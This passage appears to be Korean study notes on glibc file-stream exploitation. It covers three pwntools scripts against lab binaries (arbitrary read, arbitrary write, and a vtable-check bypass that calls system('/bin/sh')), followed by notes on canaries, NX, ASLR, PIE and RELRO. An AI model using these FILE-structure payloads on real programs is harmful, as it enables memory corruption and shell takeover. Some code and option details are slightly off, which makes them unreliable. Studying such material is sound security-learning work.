      #define _IO_NO_READS          0x0004 /* Reading not allowed.  */
      #define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
      #define _IO_EOF_SEEN          0x0010
      #define _IO_ERR_SEEN          0x0020
      #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
      #define _IO_LINKED            0x0080 /* In the list of all open files.  */
      #define _IO_IN_BACKUP         0x0100
      #define _IO_LINE_BUF          0x0200
      #define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
      #define _IO_CURRENTLY_PUTTING 0x0800
      #define _IO_IS_APPENDING      0x1000
      #define _IO_IS_FILEBUF        0x2000 /* 0x4000  No longer used, reserved for compat.  */
      #define _IO_USER_LOCK         0x8000
      
  • _IO_FILE 구조체를 담고있는 _IO_FILE_plus 구조체에는 _IO_jump_t *vtable 포인터가 있는데, 이 포인터에 파일 처리 관련 동작을 수행하는 함수의 주소가 연결된다.
    • _IO_FILE_plus 형태
      struct _IO_FILE_plus
      {
        FILE file;
        const struct _IO_jump_t *vtable;
      };
      
    • 모든 파일 관련 함수는 vtable 에 의해 호출된다.
      # 64bit 운영체제 기준 크기
      struct _IO_jump_t
      {
          JUMP_FIELD(size_t, __dummy);  # 8byte
          JUMP_FIELD(size_t, __dummy2);  # 8byte
          JUMP_FIELD(_IO_finish_t, __finish);  # 8byte
          JUMP_FIELD(_IO_overflow_t, __overflow);  # 8byte
          JUMP_FIELD(_IO_underflow_t, __underflow);  # 8byte
          JUMP_FIELD(_IO_underflow_t, __uflow);  # 8byte
          JUMP_FIELD(_IO_pbackfail_t, __pbackfail);  # 8byte
          /* showmany */
          JUMP_FIELD(_IO_xsputn_t, __xsputn);  # 8byte
          JUMP_FIELD(_IO_xsgetn_t, __xsgetn);  # 8byte
          JUMP_FIELD(_IO_seekoff_t, __seekoff);  # 8byte
          JUMP_FIELD(_IO_seekpos_t, __seekpos);  # 8byte
          JUMP_FIELD(_IO_setbuf_t, __setbuf);  # 8byte
          JUMP_FIELD(_IO_sync_t, __sync);  # 8byte
          JUMP_FIELD(_IO_doallocate_t, __doallocate);  # 8byte
          JUMP_FIELD(_IO_read_t, __read);  # 8byte
          JUMP_FIELD(_IO_write_t, __write);  # 8byte
          JUMP_FIELD(_IO_seek_t, __seek);  # 8byte
          JUMP_FIELD(_IO_close_t, __close);  # 8byte
          JUMP_FIELD(_IO_stat_t, __stat);  # 8byte
          JUMP_FIELD(_IO_showmanyc_t, __showmanyc);  # 8byte
          JUMP_FIELD(_IO_imbue_t, __imbue);  # 8byte
      };
      
  • vtable 에 연결된 함수들은 모두 동적으로 할당되는 함수들이기 때문에 공격에 악용될 수 있다.
  • 파일 관련 함수 중, 파일을 수정할 때 사용되는 fwrite , fputs 등은 내부적으로 _IO_sputn 함수를 호출하게 된다.
  • _IO_sputn -> _IO_XSPUTN-> _IO_new_file_xsputn -> _IO_OVERFLOW 순서로 함수가 호출되며, 최종적으로 _IO_new_file_overflow 가 호출된다.
  • _IO_new_file_overflow 에서는 아래 과정을 거쳐 함수 구조체에 값을 집어넣게 된다.
      1. if (f->_flags & _IO_NO_WRITES) : 조건을 만족하면 EOF 반환후 종료
      1. if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) : f->_IO_write_ptr, f->_IO_write_base, f->_IO_write_end, f->_IO_read_base 등 파일 포인터 함수들을 설정
    • 인자로 받은 파일 구조체(_IO_FILE)에서 _flags 를 확인하여 쓰기 권한(_IO_CURRENTLY_PUTTING)이 없다면 _IO_write_ptr, _IO_write_base, IO_write_end 등의 값을 다른 값으로 치환한다.
  • 쓰기 권한이 있다면, 파일 구조체를 인자로 _IO_do_write -> new_do_write 을 호출하고, _flags 에서 append 권한(_IO_IS_APPENDING) 을 확인한 후 _IO_SYSWRITE 을 호출하게 되는데, 이 _IO_SYSWRITE 함수가 vtable_IO_new_file_write 가 가키리는 함수이다.
  • _IO_new_file_write 에 전달되는 파일 구조체를 ‘f’ 라 하면, write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base); 구문으로 파일에 데이터를 작성한다.

exploit 예시

  • 전제조건
    1. 파일 포인터의 값을 덮어쓸 수 있어야 한다.
      • 예제에서는 일부러 파일 포인터의 주소에 read를 하는 구문이 들어있다. (read(0, fp, 300);)
    2. 위에서 덮어쓴 파일 포인터를 이용한 파일 쓰기 구문을 수행한다.
      • “char[1024] flag_buf” 변수에 데이터가 담겨있다.
  • 방법
    • fwrite 함수를 이용하여 “flag_buf” 에 담긴 데이터를 표준 출력에 출력하도록 한다. (fwrite(data, sizeof(char), sizeof(flag_buf), fp);)
    1. 파일 구조체의 _flag 변수에 에 magic number 0xfbad0000_IO_CURRENTLY_PUTTING (0x800) 을 세팅하여 _IO_new_file_overflow 함수에서 부수적인 작업 없이 _IO_do_write 가 호출될 수 있도록 설정한다.
    2. 프로그램 실행 중 원하는 주소의 값을 읽을 수 있도록 파일 구조체의 값을 세팅한다.
      • _IO_do_write 는 최종적으로 write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base); 형태로 표현된다.
      • _IO_write_base 를 추출하려는 데이터가 담긴 버퍼의 주소로 변경한다.
      • _IO_write_ptr 를 추출하려는 데이터가 담긴 버퍼의 크기로 변경한다.
      • _fileno 를 stdout 을 의미하는 1로 변환한다.
  • pwntools 코드 예제
    from pwn import *
    p = process('./iofile_aar')
    elf = ELF('./iofile_aar')
    flag_buf = elf.symbols['flag_buf']  # flag 데이터가 담긴 변수
    payload = p64(0xfbad0000 | 0x800)  # 파일 구조체 _flag 변수 설정 (magic number + _IO_CURRENTLY_PUTTING)
    payload += p64(0) # _IO_read_ptr, 미사용
    payload += p64(flag_buf) # _IO_read_end, 미사용
    payload += p64(0) # _IO_read_base, 미사용
    payload += p64(flag_buf) # _IO_write_base, flag 데이터가 담긴 변수의 주소
    payload += p64(flag_buf + 1024) # _IO_write_ptr, flag 데이터가 담긴 변수의 주소 + 크기
    payload += p64(0) # _IO_write_end, 미사용
    payload += p64(0) # _IO_buf_base, 미사용
    payload += p64(0) # _IO_buf_end, 미사용
    payload += p64(0) # _IO_save_base, 미사용
    payload += p64(0) # _IO_backup_base, 미사용
    payload += p64(0) # _IO_save_end, 미사용
    payload += p64(0) # struct _IO_marker, 미사용
    payload += p64(0) # struct _IO_FILE, 미사용
    payload += p64(1) # _fileno,  파일 디스크립터 값을 stdout 로 설정
    p.sendlineafter(b'Data: ', payload)
    p.interactive()
    

exploit 예시 2

  • 전제조건

    1. 파일 포인터의 값을 덮어쓸 수 있어야 한다.
    2. 덮어쓴 파일 포인터를 이용해 변수의 값을 overwrite 한다.
    3. 2번을 통해 특정 구문이 실행되도록 if 문의 조건을 조작하면 원하는 결과가 실행되는 형태로 코드가 구성되어 있다.
      • if (조건문) { 원하는_결과 } 일때, ‘조건문’ 을 강제로 참으로 만들어 ‘원하는_결과’ 가 실행되가 하는 것이 목표
  • exploit 원리:

    • 파일 내용을 읽는 함수(fread, fgets) 들은 내부적으로 _IO_file_xsgetn 함수(_IO_xsgetn_t)를 호출한다.
    • _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) 가 호출되면, fp->_IO_buf_end - fp->_IO_buf_base 값이 n 보다 큰지 확인하고, 조건을 만족한다면 __underflow -> _IO_new_file_underflow 를 호출한다.
      • (if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))))
    • _IO_new_file_underflow(FILE *fp) 가 호출되면 _flags 변수에 읽기 금지 flag(_IO_NO_READS)가 포함되어 있는지 확인하고, 포함되어있지 않다면 _IO_SYSREAD 를 호출한다.
      • (if (fp->_flags & _IO_NO_READS) return EOF;)
    • _IO_SYSREAD 함수는 vtable 의 _IO_file_read 에 매핑되어 있다.
      • _IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size) 가 호출되면 read 시스템 콜을 사용하여 __read (fp->_fileno, buf, size)) 형태로 읽기를 수행한다.
    • 최종적으로 파일 내용을 읽는 함수(fread, fgets 등)들은 read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base) 형태의 함수가 호출되는 것과 같다.
  • exploit 방법:

    1. if문의 조건에 해당하는 버퍼(‘overwrite_me’) 의 주소를 알아낸다.
    2. file 구조체의 값들을 overwrite 하기 위한 payload 를 작성한다.
    3. file write 구문이 실행되었을 때, 변수에 원하는 값을 입력한다.
  • 전체 코드

    #!/usr/bin/env python3
    import time
    from pwn import *
    p = process('./iofile_aaw')
    elf = ELF('./iofile_aaw')
    overwrite_me = elf.symbols['overwrite_me']  # 변수 이름으로 주소 확인
    payload = p64(0xfbad0000)  # flag 에 _IO_MAGIC 설정. _IO_NO_READS(0x04) 만 포함되지 않으면 됨
    payload += p64(0)  # _IO_read_ptr, 미사용
    payload += p64(0)  # _IO_read_end, 미사용
    payload += p64(0)  # _IO_read_base, 미사용
    payload += p64(0)  # _IO_write_base, 미사용
    payload += p64(0)  # _IO_write_ptr, 미사용
    payload += p64(0)  # _IO_write_end, 미사용
    payload += p64(overwrite_me)  # _IO_buf_base, overwrite 할 변수의 시작주소
    payload += p64(overwrite_me + 1024)  # _IO_buf_end, overwrite 할 변수의 시작주소 + 크기
    payload += p64(0)  # _IO_save_base, 미사용
    payload += p64(0)  # _IO_backup_base, 미사용
    payload += p64(0)  # _IO_save_end, 미사용
    payload += p64(0)  # _markers, 미사용
    payload += p64(0)  # _chain, 미사용
    payload += p64(0)  # _fileno, stdin 에 해당하는 '0' 을 대입
    p.sendlineafter(b'Data: ', payload)  # payload 전송, file 구조체 overwrite
    time.sleep(10) # fread 작업이 수행될 때 까지 잠시 대기
    p.send(p64(0xDEADBEEF) + b'\x00'*1024)  # overwrite_me 변수에 채워넣어야 할 값
    p.interactive()
    

exploit 예시 3

  • file IO 동작시 vtable을 검증하는 과정을 bypass 시켜서 권한을 탈취하는 방법이다.(bypass IO_validate_vtable)

  • vtable에 매핑된 file IO 함수를 실행시키면 IO_validate_vtable 함수기 실행되는데, IO_validate_vtable 함수는 인자로 전달받은 struct _IO_jump_t 타입(vtable 함수 포인터)의 주소가 __start___libc_IO_vtables ~ __stop___libc_IO_vtables 위치 사이에 있는지 확인한다. 즉, __libc_IO_vtables 섹션에 할당되는지를 체크하고, 조건을 만족하지 못한다면 _IO_vtable_check 에러를 발생시킨다.따라서 IO_validate_vtable 검증 함수가 생긴 이후로는 vtable 포인터를 아무 함수로 덮어 써서 공격할 수 없게 되었다.

  • IO_validate_vtable 의 포인터 주소 검사를 우회할 수 있는 함수중 하나는 _IO_str_overflow 함수가 있다. _IO_str_overflow 함수는 vtable에 JUMP_FIELD(_IO_overflow_t, __overflow); 형태로 정의된 함수이기 때문에 주소 검사에서 통과된다.

  • _IO_str_overflow 함수 내부에서는 new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); 구문이 실행되는데, _allocate_buffernew_size 를 잘 조작하여 system('/bin/bash') 형태로 변경하면 exploit 이 가능하다.

    • _s._allocate_buffer 은 vtable 의 첫 8byte에 위치한다 (JUMP_FIELD(size_t, __dummy); 형태). vtable의 첫 8byte에 system 함수를 대입시키면 된다.
    • new_size2 * (_IO_buf_end - _IO_buf_base) + 100 값이 적용된다 (old_blen = (fp)->_IO_buf_end - (fp)->_IO_buf_base; _IO_size_t new_size = 2 * old_blen + 100; 구문). _IO_buf_end 를 라이브러리의 /bin/sh 문자열이 저장된 주소로 치환하고, _IO_buf_base 를 0 으로 덮어쓰면 된다.
  • 전제조건

    1. 코드에서 std 라이브러리 구성요소의 주소를 확인할 수 있다. (예시에서는 라이브러리 릭 과정을 생략하기 위해 stdout을 미리 출력하도록 세팅되었다.)
    2. 파일 포인터를 덮어쓸 수 있다.
    3. fclose 를 호출한다. (fclose 외 다른 파일 구조체 함수도 적용 가능)
  • exploit 방법

    1. 라이브러리 릭을 통해 _IO_jump_t 구조체의 주소를 획득한다. (유출된 stdout 의 주소로 _IO_jump_t 정의 부분 주소를 획득)

    2. fclose_IO_FINISH -> _IO_finish_t 순서대로 함수를 호출하는데, _IO_finish_t은 vtable + 16byte (즉 JUMP_FIELD(_IO_finish_t, __finish); 형태로 정의된 함수) 에 위치한 함수를 호출한다. FILE 포인터를 overwrite 할 때 vtable 의 시작 주소를 조작하여 _IO_finish_t 의 위치에 _IO_str_overflow 함수의 주소가 오도록 설정한다.

      • 그러면 fclose 호출시 _IO_str_overflow 가 호출되고, s._allocate_buffer) (new_size) 구문이 실행된다. vtable 함수를 그대로 사용하였기 때문에 IO_validate_vtable 검사도 통과할 수 있다.
      • _IO_file_jumps + 0xC0 에 위치한 구조체는 _IO_str_jumps의 구조체로, _IO_str_jumps + 0x18 위치에 _IO_str_overflow 가 있다.
        • 참고: _IO_file_overflow_IO_str_overflow 는 같은 위치를 가리키지만, _IO_file_overflow 로 exploit을 시도하면 실패했다.
        • gdb 에서 _IO_file_jumps 구조체의 주소를 확인하고, 그 주소에 적힌 값들을 출력해 보면 _IO_file_jumps 의 주소가 “0x7ffff7dca2a0” 일 때, “0x7ffff7dca2a0 + 0xC0” 위치의 값들과 형태가 유사한 것을 확인 할 수 있다.
       pwndbg> p &_IO_file_jumps
       $5 = (const struct _IO_jump_t *) 0x7ffff7dca2a0 <_IO_file_jumps>
       pwndbg> tele (0x7ffff7dca2a0)
       00:0000│  0x7ffff7dca2a0 (_IO_file_jumps) ◂— 0x0
       01:0008│  0x7ffff7dca2a8 (_IO_file_jumps+8) ◂— 0x0
       02:0010│  0x7ffff7dca2b0 (_IO_file_jumps+16) —▸ 0x7ffff7a6e2d0 (_IO_file_finish) ◂— push rbp
       03:0018│  0x7ffff7dca2b8 (_IO_file_jumps+24) —▸ 0x7ffff7a6f2b0 (_IO_file_overflow) ◂— mov ecx, dword ptr [rdi]
       04:0020│  0x7ffff7dca2c0 (_IO_file_jumps+32) —▸ 0x7ffff7a6efd0 (_IO_file_underflow) ◂— mov eax, dword ptr [rdi]
       05:0028│  0x7ffff7dca2c8 (_IO_file_jumps+40) —▸ 0x7ffff7a70370 (_IO_default_uflow) ◂— push rbp
       06:0030│  0x7ffff7dca2d0 (_IO_file_jumps+48) —▸ 0x7ffff7a71c00 (_IO_default_pbackfail) ◂— push r15
       07:0038│  0x7ffff7dca2d8 (_IO_file_jumps+56) —▸ 0x7ffff7a6d8d0 (_IO_file_xsputn) ◂— push r15
       pwndbg> tele (0x7ffff7dca2a0+0xc0)
       00:0000│  0x7ffff7dca360 (_IO_str_jumps) ◂— 0x0
       01:0008│  0x7ffff7dca368 (_IO_str_jumps+8) ◂— 0x0
       02:0010│  0x7ffff7dca370 (_IO_str_jumps+16) —▸ 0x7ffff7a722a0 (_IO_str_finish) ◂— push rbx
       03:0018│  0x7ffff7dca378 (_IO_str_jumps+24) —▸ 0x7ffff7a71f10 (_IO_str_overflow) ◂— mov ecx, dword ptr [rdi]
       04:0020│  0x7ffff7dca380 (_IO_str_jumps+32) —▸ 0x7ffff7a71eb0 (_IO_str_underflow) ◂— mov rax, qword ptr [rdi + 0x28]
       05:0028│  0x7ffff7dca388 (_IO_str_jumps+40) —▸ 0x7ffff7a70370 (_IO_default_uflow) ◂— push rbp
       06:0030│  0x7ffff7dca390 (_IO_str_jumps+48) —▸ 0x7ffff7a72280 (_IO_str_pbackfail) ◂— test byte ptr [rdi], 8
       07:0038│  0x7ffff7dca398 (_IO_str_jumps+56) —▸ 0x7ffff7a703d0 (_IO_default_xsputn) ◂— test rdx, rdx
      
       # 참고
       pwndbg> x/x _IO_file_overflow
       0x7ffff7a6f2b0 <_IO_new_file_overflow>: 0xc1f60f8b
       pwndbg> x/x _IO_str_overflow
       0x7ffff7a71f10 <__GI__IO_str_overflow>: 0xc1f60f8b
       # 주소는 같지만 _IO_file_overflow 으로는 사용 불가
      
    3. _s._allocate_buffer = system, _IO_buf_end = (’/bin/sh 의 주소’ - 100) / 2, _IO_buf_base = 0 이 되도록 vtable을 설정한다.

      • 프로그램에서 파일 포인터의 주소를 획득하여 _s._allocate_buffer 함수의 주소를 획득한다.
      • libc 에서 “/bin/sh” 문자열과 system 함수의 주소를 획득한다.
  • 전체 코드

    #!/usr/bin/env python3
    from pwn import *
    p = process('./bypass_valid_vtable', env={'LD_PRELOAD':'./libc.so.6'})
    libc = ELF('./libc.so.6')
    elf = ELF('./bypass_valid_vtable')
    p.recvuntil(b'stdout: ')  # 필요없는 출력 버리기
    leak = int(p.recvuntil(b'\n').strip(b'\n'), 16)  # 문제에서 일부러 유출시킨 stdout 의 주소
    
    # [1] _IO_file_jumps 주소 획득
    libc_base = leak - libc.symbols['_IO_2_1_stdout_']  # libc_base 주소 획득. stdout 의 주소에서 stdout 의 offset 빼기
    io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']  # _IO_jump_t 구조체(vtable)의 주소 획득
    
    # [2-1] _IO_str_overflow 주소 획득, vtable 시작주소 변조
    io_str_overflow = io_file_jumps + 0xd8  # _IO_str_overflow 함수의 주소가 저장된 위치의 주소를 획득
    fake_vtable = io_str_overflow - 16  # fclose는 vtable + 16byte 에 위치한 함수(_IO_finish_t) 을 실행시킨다. vtable + 16byte 위치에 _IO_str_overflow 함수가 존재하도록 vtable 주소를 역산한다.
    
    # [3-1] libc 에서 필요한 요소들 주소 획득, 파일 포인터 'fp' 주소 획득
    binsh = libc_base + next(libc.search(b'/bin/sh'))  # "/bin/sh" 문자열이 저장된 주소 획득
    system = libc_base + libc.symbols['system']  # system 함수의 주소 획득
    fp = elf.symbols['fp']
    
    # 디버깅
    print(f'io_file_jumps: 0x{io_file_jumps:X}')
    print(f'io_file_overflow: 0x{io_file_overflow:X}')
    print(f'io_str_overflow: 0x{io_str_overflow:X}')
    print(f'fake_vtable: 0x{fake_vtable:X}')
    
    # payload 작성
    payload = p64(0x0) # flags, 미사용
    payload += p64(0x0) # _IO_read_ptr, 미사용
    payload += p64(0x0) # _IO_read_end, 미사용
    payload += p64(0x0) # _IO_read_base, 미사용
    payload += p64(0x0) # _IO_write_base, 미사용
    payload += p64(( (binsh - 100) // 2 )) # _IO_write_ptr, [3-2] 2 * (_IO_buf_end - _IO_buf_base) + 100 값이 "/bin/sh" 문자열의 주소를 가키리도록 설정
    payload += p64(0x0) # _IO_write_end, 미사용
    payload += p64(0x0) # _IO_buf_base, [3-2] 0으로 세팅
    payload += p64(( (binsh - 100) // 2 )) # _IO_buf_end
    payload += p64(0x0) # _IO_save_base, 미사용
    payload += p64(0x0) # _IO_backup_base, 미사용
    payload += p64(0x0) # _IO_save_end, 미사용
    payload += p64(0x0) # _IO_marker, 미사용
    payload += p64(0x0) # _IO_chain, 미사용
    payload += p64(0x0) # _fileno, _flags2 (int, int), 미사용
    payload += p64(0x0) # _old_offset, 미사용
    payload += p64(0x0) # _cur_column, _vtable_offset, _shortbuf (short, char, short, + 구조체 최적화용 padding), 미사용
    payload += p64(fp + 0x80) # _lock, [3-2] fp 값을 덮어쓴 이후 적당히 오염되어도 되는 자리를 지정
    payload += p64(0x0) * 9 # _offset, _codecvt, _wide_data, _freeres_list, _freeres_buf, __pad5, _mode, _unused2 (총 72byte), 미사용
    payload += p64(fake_vtable) # io_file_jump overwrite, [2-2] 변조한 vtable 주소 세팅
    payload += p64(system) # fp->_s._allocate_buffer, [3-2] _allocate_buffer 함수를 system 함수로 대체
    p.sendline(payload)
    p.interactive()
    

보호 기법

  • 앞서 살펴본 취약점을 방어하기 위한 기법들을 소개한다.

Stack Canary

  • 광부들이 탄광에 들어갈 때 카나리아 새를 데리고 들어간다. 카나리아는 인간보다 가스에 민감하여, 유독가스로 인해 위험한 상황이 발생 할 경우 카나리아가 먼저 이를 인지하고 이상 행동을 보이게 된다. 광부들은 카나리아의 행동을 관찰하며 위험한 환경에서 빨리 탈출할 수 있다.
  • 탄광의 카나리아 새를 따서 Stack의 overflow를 감지하는 기능도 Stack Canary 라 이름 짓는다.
  • 우분투에서 C 파일을 컴파일 할 때 기본적으로 Stack Canary를 적용하며, -fno-stack-protector 옵션을 넣어 gcc 컴파일을 하면 Stack Canary 설정을 끌 수 있다.
  • Stack이 오염되면 대부분은 Segmentation Fault 오류를 발생하며 종료된다.
  • Stack Canary가 설정되어 있으면 stack smashing detected 오류가 대신 발생한다. 이는 Stack의 오염이 감지되어 강제로 프로그램이 종료됨을 의미한다.
  • Stack Canary의 동작을 어셈블리어로 표현하면 다음과 같다.
    	mov    rax,QWORD PTR fs:0x28    # fs 레지스터의 0x28값을 rax에 대입
      mov    QWORD PTR [rbp-0x8],rax  # 스택 카나리를 rbp-8에 저장
      call   FUNCTION                 # 함수 호출
    
      ...
    
      mov    rcx,QWORD PTR [rbp-0x8]  # rbp-8에서 스택 카나리 추출
      xor    rcx,QWORD PTR fs:0x28    # fs:0x28과 스택 카나리 비교
      je     0x6f0 <main+94>          # 값이 같으면 다르면 호출부로 이동
      call   __stack_chk_fail@plt     # 값이 다르면 에러 출력
    
    • fs는 세그먼트 레지스터의 일종으로, 리눅스는 부팅시 fs:0x28 위치에 랜덤 생성하여 저장한다.
  • X64 아키텍처는 8바이트, X86 아키텍처는 4바이트 카나리를 사용한다.
  • stack에 적용될 때 x64 아키텍처는 8바이트, x86 아키텍처는 4바이트 더미값 이후 canary가 들어감에 주의한다.
  • 카나리는 NULL 값으로 시작한다.
  • 카나리는 TLS에 전역변수로 저장되고, 각 함수들이 이를 공용으로 참조한다.

NX

  • No eXecute의 약자로, 실행에 사용되는 메모리 영역과 writing에 사용되는 메모리 영역을 분리하여 악의적으로 buffer에 코드를 심어 실행시키는 행위를 방지하는 기법이다.
  • NX 기법은 CPU가 지원해야 동작할 수 있다.
  • NX가 적용된 바이너리를 gdb로 디버깅 하여 vmmap 명령으로 각 주소의 권한을 살펴보면 Perm 영역이 ‘rw’와 ‘x’ 가 분리된 것이 확인된다.
  • 실행 권한이 없는 주소를 실행시키려 하면 segment fault 가 발생하며 코드가 종료되게 된다.
  • NX기법은 XD(eXecution Disable), DEP(Data Execution Prevention), XN(eXecute Never) 등으로 불리기도 한다.

ASLR

  • Address Space Layout Randomization 의 약자로 바이너리가 실행 될 때 마다 매번 다른 주소값에 메모리 세그먼트들을 할당하여 주소의 유출을 방지하는 기법이다.
  • 커널에서 ASLR을 지원해야 동작이 가능하다.
  • 리눅스에서 cat /proc/sys/kernel/randomize_va_space 명령으로 해당 커널이 ASLR을 지원하는지 확인 가능하다.
    • 0 : ASLR 미지원
    • 1 : stack, heap, library, vdso 등의 주소를 랜덤화
    • 2 : (1) 에 더해 brk 영역도 랜덤화
  • 리눅스는 ASLR이 적용됐을 때, 페이지(page) 단위로 파일을 매핑하기 때문에 주소값 64비트 중 상위 52비트의 주소는 바뀌어도 하위 12비트는 변경되지 않는다.
    • 0x1111111111111222 : 1은 변경될 수 있고, 2는 고정
    • 예를들어 라이브러리의 printf의 함수의 주소가 0x12345678이라면, 다음번 실행시에도 마지막 12비트는 678임이 보장된다.
  • main 함수의 주소는 여러번 실행해도 변경되지 않는다.

PIE

  • Position Independent Executable 의 약자이다.

  • ASLR이 런타임에 생성되는 stack, heap, library 영역의 메모리를 랜덤 매핑하는 기법이었다면, PIE는 code 영역의 메모리를 랜덤하게 매핑하는 보호 기법이다.

  • 리눅스의 ELF는 Executable(실행파일) 파일과 Shared Object(공유파일) 로 양분되는데 Shared Object 는 메모리 상에 어디에 올려놓아도 동작 가능하도록 설계되어 있다.

  • 메모리 위치에 제약을 받지 않는 이러한 성질을 가진 코드를 Position-Independent Code 줄여서 PIC 라 부른다.

  • Shared Object 들은 최초 설계 시에 PIC 속성을 갖도록 설계되었고, Executable 파일들은 그렇지 않았다. 실행 파일들도 PIC 속성을 갖게 하려고 Shared Object 형태로 구성하였고, 이를 PIE(Position-Independent Executable) 라 명명하였다.

  • PIE로 구성된 코드들은 ASLR 이 적용되면 다른 Shared Object 와 마찬가지로 랜덤한 주소에 배치받게 된다.

  • ASLR에 의해 PIE 코드가 랜덤한 메모리에 적재되면 그 시작 주소를 base code, 혹은 PIE base 라 칭한다.

  • PIE 보호기법이 적용되면 code 영역과 bss 영역의 메모리는 실행시 마다 랜덤하게 배정된다.

RELRO (RELocation Read-Only)

  • 데이터 세그먼트에서 불필요한 쓰기 권한을 제거하여 공격을 방지하는 방법
  • Partial RELRO 와 Full RELRO 두 가지 방법이 있다.
    • gcc 컴파일 시 -no-pie -fno-pie 옵션을 넣어서 pie를 제거하면 partial RELRO 로 동작한다.
    • -no-pie는 코드 생성 옵션이고, -fno-pie는 링킹 과정의 옵션으로 둘 다 설정해야 PIE 없이 바이너리가 생성된다.
    • 위 두 옵션 없이 gcc 컴파일을 수행하면 Full RELRO가 적용된다.
  • Partial RELRO 가 적용된 파일을 objdump -h 명령어로 확인하면 section에 .got.got.plt 가 확인된다.
    • .got section에는 실행되기 전에 바인딩 되는 전역변수들이 저장되며 쓰기 권한이 없다.
    • .got.plt section에는 실행되는 도중 바인딩 되는 전역변수들이 저장되며 쓰기 권한이 부여된다.
    • .got.plt 영역을 덮어쓰는 GOT overwrite 공격에 취약하다.
  • Full RELRO 가 적용되면 함수들의 주소가 바이너리 로딩 시점에 모두 바인딩 되므로 .got 영역에는 쓰기 권한이 부여되지 않는다.
    • 동적 메모리 할당/해제시 동작하는 hook 을 이용한 공격인 Hook Overwrite 에 취약하다.

segment 권한 확인 방법

  1. 특정 프로세스에서 /proc/self/maps 경로의 파일을 출력하도록 코드를 작성한다.
  2. 작성한 코드를 컴파일 하고, 실행 파일을 생성한다.
  3. 실행 파일을 실행하여 /proc/self/maps 파일 내용을 확인한다.
  • 내용 중 파일명 에 해당하는 부분이 메모리 시작주소이다.
  • ex) objdump -h /usr/bin/cat 결과이다. /usr/bin/cat 의 메모리 시작주소는 0x561210c55000 가 된다.
    561210c55000-561210c57000 r--p 00000000 08:20 1773                       /usr/bin/cat
    561210c57000-561210c5c000 r-xp 00002000 08:20 1773                       /usr/bin/cat
    561210c5c000-561210c5f000 r--p 00007000 08:20 1773                       /usr/bin/cat
    561210c5f000-561210c60000 r--p 00009000 08:20 1773                       /usr/bin/cat
    561210c60000-561210c61000 rw-p 0000a000 08:20 1773                       /usr/bin/cat
    5612123c3000-5612123e4000 rw-p 00000000 00:00 0                          [heap]
    7f84ddb0a000-7f84ddb2c000 rw-p 00000000 00:00 0
    7f84ddb2c000-7f84ddb5e000 r--p 00000000 08:20 25559                      /usr/lib/locale/C.UTF-8/LC_CTYPE
    7f84ddb5e000-7f84ddb5f000 r--p 00000000 08:20 25620                      /usr/lib/locale/C.UTF-8/LC_NUMERIC
    7f84ddb5f000-7f84ddb60000 r--p 00000000 08:20 26418                      /usr/lib/locale/C.UTF-8/LC_TIME
    7f84ddb60000-7f84ddcd3000 r--p 00000000 08:20 25554                      /usr/lib/locale/C.UTF-8/LC_COLLATE
    7f84ddcd3000-7f84ddcd4000 r--p 00000000 08:20 25593                      /usr/lib/locale/C.UTF-8/LC_MONETARY
    7f84ddcd4000-7f84ddcd5000 r--p 00000000 08:20 25575                      /usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES
    7f84ddcd5000-7f84ddcd6000 r--p 00000000 08:20 26123                      /usr/lib/locale/C.UTF-8/LC_PAPER
    7f84ddcd6000-7f84ddcd7000 r--p 00000000 08:20 25601                      /usr/lib/locale/C.UTF-8/LC_NAME
    7f84ddcd7000-7f84ddfbd000 r--p 00000000 08:20 15009                      /usr/lib/locale/locale-archive
    7f84ddfbd000-7f84ddfdf000 r--p 00000000 08:20 42427                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
    7f84ddfdf000-7f84de157000 r-xp 00022000 08:20 42427                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
    7f84de157000-7f84de1a5000 r--p 0019a000 08:20 42427                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
    7f84de1a5000-7f84de1a9000 r--p 001e7000 08:20 42427                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
    7f84de1a9000-7f84de1ab000 rw-p 001eb000 08:20 42427                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
    7f84de1ab000-7f84de1b1000 rw-p 00000000 00:00 0
    7f84de1b1000-7f84de1b2000 r--p 00000000 08:20 25549                      /usr/lib/locale/C.UTF-8/LC_ADDRESS
    7f84de1b2000-7f84de1b3000 r--p 00000000 08:20 26189                      /usr/lib/locale/C.UTF-8/LC_TELEPHONE
    7f84de1b3000-7f84de1b4000 r--p 00000000 08:20 25574                      /usr/lib/locale/C.UTF-8/LC_MEASUREMENT
    7f84de1b4000-7f84de1bb000 r--s 00000000 08:20 42694                      /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
    7f84de1bb000-7f84de1bc000 r--p 00000000 08:20 42407                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
    7f84de1bc000-7f84de1df000 r-xp 00001000 08:20 42407                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
    7f84de1df000-7f84de1e7000 r--p 00024000 08:20 42407                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
    7f84de1e7000-7f84de1e8000 r--p 00000000 08:20 25569                      /usr/lib/locale/C.UTF-8/LC_IDENTIFICATION
    7f84de1e8000-7f84de1e9000 r--p 0002c000 08:20 42407                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
    7f84de1e9000-7f84de1ea000 rw-p 0002d000 08:20 42407                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
    7f84de1ea000-7f84de1eb000 rw-p 00000000 00:00 0
    7ffcf0c34000-7ffcf0c55000 rw-p 00000000 00:00 0                          [stack]
    7ffcf0d14000-7ffcf0d18000 r--p 00000000 00:00 0                          [vvar]
